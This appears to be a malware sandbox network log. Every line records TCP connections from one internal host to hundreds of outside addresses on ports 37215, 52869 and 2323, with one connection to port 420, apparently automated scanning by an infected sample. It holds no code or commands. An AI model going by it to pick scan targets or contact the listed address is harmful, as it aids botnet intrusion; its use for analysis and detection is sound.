Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.59.130.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.93.205.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.69.73.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.27.125.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.73.225.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.75.108.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.139.224.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.252.69.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.61.171.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.54.3.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.187.21.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.131.104.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.214.176.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.137.0.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.10.211.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.148.183.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.206.29.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.79.112.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.218.220.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.117.58.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.139.43.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.226.153.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.198.170.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.105.198.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.30.199.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.25.248.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.128.33.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.232.105.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.127.37.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.219.89.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.104.201.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.205.120.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.236.151.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.9.128.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.132.124.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.244.68.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.54.222.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.160.70.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.218.162.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.49.237.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.250.119.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.145.54.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.243.247.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.202.121.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.222.226.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.62.136.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.13.136.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.21.248.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.235.141.127:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.59.78.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.225.155.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.189.145.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.239.166.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.228.217.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.113.32.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.170.210.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.97.46.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.99.148.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.147.54.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.240.49.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.7.101.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.14.189.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.195.96.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.129.219.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.150.92.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.65.64.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.61.159.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.173.94.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.45.37.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.199.126.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.178.34.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.115.228.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.160.151.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.46.235.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.224.13.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.153.69.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.47.95.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.59.143.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.202.172.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.12.2.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.117.66.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.168.146.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.227.255.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.103.173.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.218.250.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.116.4.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.6.110.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.105.199.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.155.18.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.171.148.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.247.204.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.174.126.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.84.177.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.48.57.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.66.160.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.28.242.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.90.139.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.220.179.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.218.184.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.52.44.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.81.195.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.222.222.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.13.176.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.111.41.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.236.190.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.240.184.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.50.250.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.52.151.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.240.193.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.154.251.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.99.125.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.50.243.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.223.25.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.193.147.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.68.214.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.199.34.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.161.52.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.37.148.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.253.152.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.12.160.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.216.242.127:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.167.247.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.187.154.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.160.155.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.45.92.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.123.130.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.185.168.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.96.125.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.94.32.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.83.19.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.38.152.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.146.104.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.118.117.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.42.76.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.221.49.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.197.169.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.48.0.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.8.70.59:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.45.164.59:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.100.203.233:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.17.98.59:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.14.94.80:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.249.205.217:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.84.162.109:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.167.69.48:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.225.142.32:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.242.61.235:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.56.70.253:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.81.171.85:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.208.148.221:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.41.144.108:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.12.80.19:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.222.40.85:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.34.57.5:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.244.34.203:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.5.249.194:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.224.118.56:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.147.22.245:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.251.33.16:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.28.38.187:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.49.3.174:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.239.225.144:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.145.72.210:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.186.204.57:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.77.255.149:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.103.1.233:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.157.84.39:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.185.181.240:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.216.109.25:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.67.208.230:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.129.59.113:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.10.144.217:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.151.9.8:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.193.124.25:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.52.104.180:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.144.223.218:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.197.108.71:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.50.94.190:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.74.170.175:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.26.247.100:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.176.223.72:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.96.3.63:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.97.76.206:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.74.94.58:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.97.144.18:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.27.26.37:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.113.120.135:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.204.105.141:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.79.6.226:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.237.11.232:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.163.177.16:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.21.41.116:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.169.31.178:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.155.84.166:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.222.152.148:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.32.234.153:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.100.188.199:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.46.4.32:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.82.92.161:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.39.129.65:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.77.192.94:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.128.45.189:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.199.125.37:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.108.221.206:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.231.129.21:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.251.61.241:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.137.95.88:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.224.96.110:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.244.109.129:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.236.23.102:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.50.203.12:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.167.31.214:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.44.167.108:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.20.43.55:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.75.5.154:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.2.24.80:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.18.82.129:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.106.245.35:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.250.231.178:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.70.109.24:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.35.184.16:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.58.230.134:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.31.63.226:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.91.137.82:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.132.36.153:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.222.2.218:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.67.198.91:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.22.252.57:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.101.231.36:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.133.73.245:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.169.210.141:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.75.183.158:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.110.69.141:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.204.224.192:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.226.61.3:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.88.95.100:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.95.40.244:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.98.25.68:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.53.225.246:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.77.83.228:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.228.198.11:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.144.27.200:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.230.95.244:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.67.191.174:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.198.127.12:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.143.210.44:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.22.176.212:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.179.188.20:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.145.115.97:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.39.238.174:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.195.171.16:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.238.85.110:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.200.20.209:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.42.183.141:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.241.58.16:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.205.148.228:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.44.165.133:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.169.170.32:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.93.147.57:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.98.249.24:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.197.211.16:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.39.211.141:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.47.142.217:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.39.77.64:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.24.59.128:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.110.42.117:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.34.186.210:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.121.193.74:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.214.232.179:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.19.137.203:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.216.108.201:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.21.28.40:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.71.199.38:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.242.83.176:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.212.167.195:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.187.86.147:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.178.157.213:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.210.18.108:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.54.45.35:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.17.197.193:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.253.238.10:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.45.241.47:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.122.146.138:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.26.239.52:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.1.175.86:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.65.233.196:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.31.178.23:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.36.41.250:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.207.151.158:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.205.167.63:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.21.83.188:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.206.89.9:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.126.57.46:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.128.202.213:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.137.64.88:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 197.53.69.3:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 156.66.255.73:52869
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 27.48.70.59:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 75.110.88.115:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 150.219.202.136:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 65.66.210.17:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 146.70.29.219:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 53.119.108.81:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 48.195.150.165:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 152.135.56.180:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 84.3.185.5:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 110.66.173.220:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 201.61.124.73:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 207.246.48.88:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 38.213.157.174:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 218.192.232.102:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 219.96.175.231:2323
Source: global traffic	TCP traffic: 192.168.2.14:60787 -> 36.26.12.104:2323
Source: global traffic	TCP traffic: 192.168.2.14:52294 -> 179.43.154.140:420
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.43.4.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.154.217.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.53.67.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.165.7.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.54.125.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.151.128.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.16.199.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.181.147.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.143.6.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.165.42.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.42.34.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.17.85.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.115.11.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.3.121.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.91.219.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.252.138.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.118.150.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.52.39.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.90.212.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.252.133.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.5.204.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.196.137.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.126.215.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.184.8.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.191.184.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.182.166.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.122.116.38:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.185.206.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.158.192.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.36.98.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.218.25.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.97.83.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.121.233.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.83.168.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.132.5.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.234.28.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.148.173.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.141.27.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.79.168.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.207.141.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.199.58.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.18.94.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.137.12.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.239.174.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.69.105.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.188.155.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.231.60.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.243.30.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.54.44.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.172.250.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.73.36.58:37215
